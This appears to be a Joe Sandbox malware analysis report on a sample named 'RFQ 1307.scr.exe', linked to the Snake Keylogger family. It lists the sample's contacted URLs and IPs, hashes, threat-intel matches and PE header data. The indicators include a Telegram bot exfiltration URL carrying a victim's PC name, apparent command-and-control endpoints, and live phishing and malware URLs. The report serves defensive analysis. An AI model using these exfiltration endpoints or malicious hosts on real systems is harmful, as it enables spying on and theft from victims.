https://api.telegram.org/bot/sendMessage?chat_id=&text=	MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	MSBuild.exe, 00000004.00000002.2618358547.00000000030CB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/155.94.241.186$	MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002FC9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.000000000300E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://varders.kozow.com:8081	RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:536720%0D%0ADate%20a	MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-neti	RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/11564914/23354;	RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	MSBuild.exe, 00000004.00000002.2618358547.00000000030C6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.000000000300E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://playstoremeta.com	RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003461000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003461000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/	RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	true
103.159.36.18	playstoremeta.com	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538506
Start date and time:	2024-10-21 13:16:22 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RFQ 1307.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@4/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 92% Number of executed functions: 121 Number of non-executed functions: 64
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 192.229.221.95, 13.85.23.206, 13.95.31.18, 52.165.164.15
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target MSBuild.exe, PID 7992 because it is empty
Execution Graph export aborted for target RFQ 1307.scr.exe, PID 7540 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: RFQ 1307.scr.exe

Simulations

Behavior and APIs

Time	Type	Description
07:17:13	API Interceptor	209x Sleep call for process: RFQ 1307.scr.exe modified
07:17:51	API Interceptor	424655x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	FACTURA DE PAGO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	routcrying.exe	Get hash	malicious	Snake Keylogger	Browse
	mnobizx.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	mnobizx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.96.3	w49A5FG3yg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	733812cm.n9shteam.in/DefaultWordpress.php
	9XHFe6y4Dj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	733812cm.n9shteam.in/DefaultWordpress.php
	SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	t1zTzS9a3r.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	abdulbek.top/externalvideoprotectdefaultsqlWindowsdlePrivate.php
	aQdB62N7SB.elf	Get hash	malicious	Shikitega, Xmrig	Browse	main.dsn.ovh/dns/lovely
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/DyuQ5y15/download
	zygWTMeQC2.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	138231cm.n9shteam.in/CpuApiprotectTemp.php
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	Aunali_khokhawala-In Services.Agreement-SDYAMPA 416944.rtf	Get hash	malicious	EvilProxy, Fake Captcha, HTMLPhisher	Browse	vh26kx.pinboarddisplaced.com/?email=
	SMX-ACH0036173.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.casesrep.site/7z6q/
193.122.130.0	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	routcrying.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	mnobizx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rcota____oRFQNO-N__merodopedido106673.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	TkCotdLNiu.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rSvigt.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	rJustificantedepago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	ACCOUNTXSTATEMENT.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.PWSX-gen.5562.5412.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	FACTURA DE PAGO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	#U304a#U898b#U7a4d#U308a#U4f9d#U983c.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	routcrying.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	mnobizx.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
s-part-0017.t-0009.t-msedge.net	SUNLIGHT ORDER.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://google.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://sustainability-bunnings.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://app.creatopy.com/share/d/qvnqyxdo8o7m	Get hash	malicious	Unknown	Browse	13.107.246.45
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	http://evriservicescompany.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	yR0u7DbCMA.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	gtIVRm5dHl.htm	Get hash	malicious	Unknown	Browse	13.107.246.45
	76Kobq8opu.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
playstoremeta.com	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.159.36.18
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.159.36.18
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.159.36.18
	RFQ - BELMAN.exe	Get hash	malicious	AgentTesla	Browse	103.159.36.18
	Pyt Copy.scr.exe	Get hash	malicious	Snake Keylogger	Browse	103.159.36.18
	rRFQ-KTE-16102024.cmd.exe	Get hash	malicious	AgentTesla	Browse	103.159.36.18
api.telegram.org	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	FACTURA DE PAGO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	routcrying.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	mnobizx.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	mnobizx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	FACTURA DE PAGO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Unlock_Tool_2.3.1.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	aZm1EZ2IYr.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
TWIDC-AS-APTWIDCLimitedHK	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.159.36.18
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.159.36.18
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	103.157.99.72
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	103.153.197.170
	sh4.elf	Get hash	malicious	Unknown	Browse	103.152.62.185
	https://word.worldwidehealthcenter.net/dropbox.com.verify-link-documents.html'	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.159.36.18
	RFQ - BELMAN.exe	Get hash	malicious	AgentTesla	Browse	103.159.36.18
	EMnyl2klUV.elf	Get hash	malicious	Mirai	Browse	103.159.15.82
	mips.elf	Get hash	malicious	Mirai	Browse	103.153.197.176
CLOUDFLARENETUS	https://library.wic.ac.uk/upload/~/app/step2.php?id=37602430	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://library.wic.ac.uk/upload/~/app/step3.php?id=5384235	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	Unknown	Browse	104.21.29.144
	Message_2530136.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.childkorea.or.kr/bbs/link.html?code=alarm&number=3064&url=https://form.jotform.com/242923371946059	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	https://s3.us-east-2.amazonaws.com/revealedgceconomies/vdiq197yvi/ImgBurn_822881.exe?	Get hash	malicious	Unknown	Browse	104.26.5.9
	Spedizione.vbs	Get hash	malicious	Unknown	Browse	172.67.75.40
	https://s3.us-east-2.amazonaws.com/revealedgceconomies/vdiq197yvi/ImgBurn_822881.exe?	Get hash	malicious	Unknown	Browse	104.26.5.9
ORACLE-BMC-31898US	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	FACTURA DE PAGO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	#U304a#U898b#U7a4d#U308a#U4f9d#U983c.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	bin.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	130.61.149.67
	LNLAncf2v5.elf	Get hash	malicious	Mirai, Okiru	Browse	150.136.183.134
	SecuriteInfo.com.Win32.TrojanX-gen.28573.1762.exe	Get hash	malicious	Unknown	Browse	168.138.162.78
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://library.wic.ac.uk/upload/~/app/step2.php?id=37602430	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://library.wic.ac.uk/upload/~/app/step3.php?id=5384235	Get hash	malicious	Unknown	Browse	13.107.246.45
	SUNLIGHT ORDER.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://lvlup.page	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://weiderergmbh-my.sharepoint.de/:o:/g/personal/s_kreuzer_luxapark_de/En8ihQEtXF1HtuEzkWTEmvQBXZUe8GC_guY4c0qSMi2Czg?e=5%3aJCIXIb&at=9	Get hash	malicious	Unknown	Browse	13.107.246.45
	File1PDF.html	Get hash	malicious	Phisher	Browse	13.107.246.45
	http://google.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://google.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	http://sustainability-bunnings.com	Get hash	malicious	Unknown	Browse	13.107.246.45
54328bd36c14bd82ddaa0c04b25ed9ad	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	FACTURA DE PAGO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	#U304a#U898b#U7a4d#U308a#U4f9d#U983c.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	routcrying.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	mnobizx.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	Anfrage fur Proforma-Lieferrechnung und Zahlungsbedingungen.vbs	Get hash	malicious	GuLoader	Browse	149.154.167.220 103.159.36.18
	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220 103.159.36.18
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220 103.159.36.18
	Spedizione.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220 103.159.36.18
	FACTURA DE PAGO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220 103.159.36.18
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220 103.159.36.18
	https://weiderergmbh-my.sharepoint.de/:o:/g/personal/s_kreuzer_luxapark_de/En8ihQEtXF1HtuEzkWTEmvQBXZUe8GC_guY4c0qSMi2Czg?e=5%3aJCIXIb&at=9	Get hash	malicious	Unknown	Browse	149.154.167.220 103.159.36.18
	rIMG465244247443GULFORDEROpmagasinering.cmd	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220 103.159.36.18
	Documenti di spedizione.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220 103.159.36.18
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 103.159.36.18

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.578032331731045
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	RFQ 1307.scr.exe
File size:	6'144 bytes
MD5:	3f88227748d2baa1abff19031bde3950
SHA1:	d3b1988a2ca7a3b92c3e57164c9040feb283d15c
SHA256:	e879ebd5f9a3351d09cbc970535a0c1035a85e9944c26f68c75d827e8e19513c
SHA512:	047e426288a9f16e2454228b9e4ff30eb983560a1b48b4aef95543308411430d7aebfa227e98512a28689f3dabe6f858a19b93f00c2c76d2abc331e8ae799fa1
SSDEEP:	96:gQAe7Ep4uAoRr0/vjIhIEQE1dKgobzNt:HAe7x3O0jIhLQE1dhI
TLSH:	DEC1B619A3E88F75EAB24B765CB3A3404175B7419CA3CF5E35C4624F2E136080AB2BB5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...hD.g............................N-... ...@....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x402d4e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67154468 [Sun Oct 20 17:56:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d00	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x596	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
